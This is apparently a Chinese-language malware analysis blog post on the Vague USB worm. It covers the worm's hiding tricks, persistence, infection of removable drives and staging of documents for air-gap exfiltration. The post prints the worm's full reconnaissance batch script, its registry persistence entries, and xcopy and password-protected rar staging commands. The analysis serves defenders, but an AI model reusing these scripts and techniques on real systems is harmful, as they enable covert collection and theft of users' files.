Vague病毒分析

样本信息

文件名 优盘资料.exe
MD5 E9A6B1346D1A2447CABB980F3CC5DD27
SHA1 FE102A75E319AAB20F030299DF3A0A36204B4019
CRC32 0C8F34FB
文件大小 139,264字节
病毒类型 Trojan.Win32.Vague.bn
image-20250217132729169

使用C++编写,文件图标为文件夹图片,应该属于蠕虫样本。

静态分析

主函数WinMain

image-20250217145117544
  • 注册窗口类,其中窗口函数负责处理定时器任务,然后创建窗口并隐藏

  • 通过生成%temp%\ppxxx文件,执行regini.exe %temp%\ppxxx来修改注册表,实现隐藏exe文件后缀

    (后面设置开机自启动也是通过这种方法)

    1
    2
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\exefile
    "NeverShowExt"= REG_SZ ""

    样本中的字符串大部分都使用了凯撒密码,按位加1就可以得到原字符串

  • 如果存在同名的文件夹,使用explorer打开

  • 创建文件%temp%\~tmpx5.tmp,相当于互斥量,防止双开,若创建失败,说明已经有一个实例在运行,本进程退出

  • 检查当前程序路径不是%temp%\conhost.exe,如果不是则将自身拷贝到%temp%\conhost.exe并隐藏,运行%temp%\conhost.exe,本进程退出(说明有可能是在U盘中执行的)

  • 释放并执行一个批处理文件%temp%\must.bat,这个脚本用来获取主机的信息和文件列表,保存在%temp%\winword4.doc,运行后会删除自身

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    @echo off
    set xm2n=%temp%\winword4.doc
    date /t >%xm2n%
    ver >>%xm2n%
    net user >>%xm2n%
    net localgroup administrators >>%xm2n%
    net start >>%xm2n%
    netstat -ano >>%xm2n%
    tasklist >>%xm2n%
    ipconfig /all >>%xm2n%
    arp -a >>%xm2n%
    systeminfo >>%xm2n%
    net use >>%xm2n%
    net view >>%xm2n%
    net view /domain >>%xm2n%
    net user /domain >>%xm2n%
    dir c:\*.* /s/a/od >>%xm2n%
    dir d:\*.* /s/a/od >>%xm2n%
    dir e:\*.* /s/a/od >>%xm2n%
    dir f:\*.* /s/a/od >>%xm2n%
    dir g:\*.* /s/a/od >>%xm2n%
    dir h:\*.* /s/a/od >>%xm2n%
    dir i:\*.* /s/a/od >>%xm2n%
    del """%0"""
  • 解析系统Recent目录下lnk文件,将最近访问过的 .doc、.docx、.pdf、.mvd、 .tif、 .xls、.xlsx文件和%temp%\winword4.doc,使用winrar程序打包进%temp%\WPDNSE\XXXXXXXX.NLS

    (定时器一也会执行此方法)

    image-20250218150136113
  • 创建三个定时器时间间隔分别为1小时、1分钟零1毫秒、10秒零2毫秒

窗口函数

窗口函数的主要功能是处理三个定时器

image-20250217150427142
  • 定时器一:解析系统Recent目录下lnk文件,将最近访问过的 .doc、.docx、.pdf、.mvd、 .tif、 .xls、.xlsx文件和%temp%\winword4.doc,使用winrar程序打包进%temp%\WPDNSE\XXXXXXXX.NLS

  • 定时器二:通过生成%temp%\ppxxx文件,执行regini.exe %temp%\ppxxx来修改注册表,实现开机自启动

    1
    2
    HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows
    "Load" = REG_SZ "C:\Users\Administrator\AppData\Local\Temp\conhost.exe"
  • 定时器三:遍历系统内的所有驱动器,收集文件,并感染可移动存储介质

感染逻辑(定时器三)

image-20250217151305601

如果磁盘是可移动驱动器,执行以下操作:

image-20250217151445210
  • 复制自身到\RECYCLER\Dcfly.exe,若同名文件已经存在,比较两者的文件时间,如果比当前版本新,则执行U盘上的新版本,退出当前进程
image-20250218154953128
  • 遍历U盘根目录的文件夹(跳过Recycled,RECYCLER,System Volume Information),隐藏文件夹,将自身拷贝成同名文件,欺骗用户点击

    image-20250218160244736
  • %temp%\WPDNSE\*.NLS%temp%\Media\*.ldf拷贝到\RECYCLER\目录下并隐藏,拷贝命令如下

    1
    2
    C:\windows\system32\xcopy.exe /d /c /i /h /r /y %temp%\WPDNSE\*.NLS X:\RECYCLER\
    C:\windows\system32\xcopy.exe /d /c /i /h /r /y %temp%\Media\*.ldf X:\RECYCLER\
  • 将磁盘中的.doc、.docx、.pdf、.mvd、 .tif、 .xls、.xlsx文件打包进%temp%\WPDNSE\xxxxxxxx.NLS

如果磁盘是驱动器或者网络驱动器,则会使用winrar程序对指定后缀文件进行压缩,保存为%temp%\WPDNSE\xxxxxxxx.NLS

1
C:\\Program Files (x86)\\winrar\\rar.exe\" u -apC -r -ed -tk -dh -sl5000000 -hpThisTw0Piece -ta20241117 C:\\Users\\Administrator\\AppData\\Local\\Temp\\WPDNSE\\07BFFF44.NLS C:\\*.doc C:\\*.docx C:\\*.pdf C:\\*.mvd C:\\*.tif C:\\*.xls C:\\*.xlsx

总结

该样本是一款利用摆渡攻击的U盘蠕虫,样本本身没有外联行为,根据样本使用的环境变量和winrar路径可以确定攻击的系统主要为Windows Xp。

参考

https://blog.csdn.net/a854596855/article/details/132394532

https://baijiahao.baidu.com/s?id=1695276694465570783&wfr=spider&for=pc


Vague病毒分析
http://wangchenchina.github.io/2025/02/18/Vague病毒分析/
作者
Demo
发布于
2025年2月18日
许可协议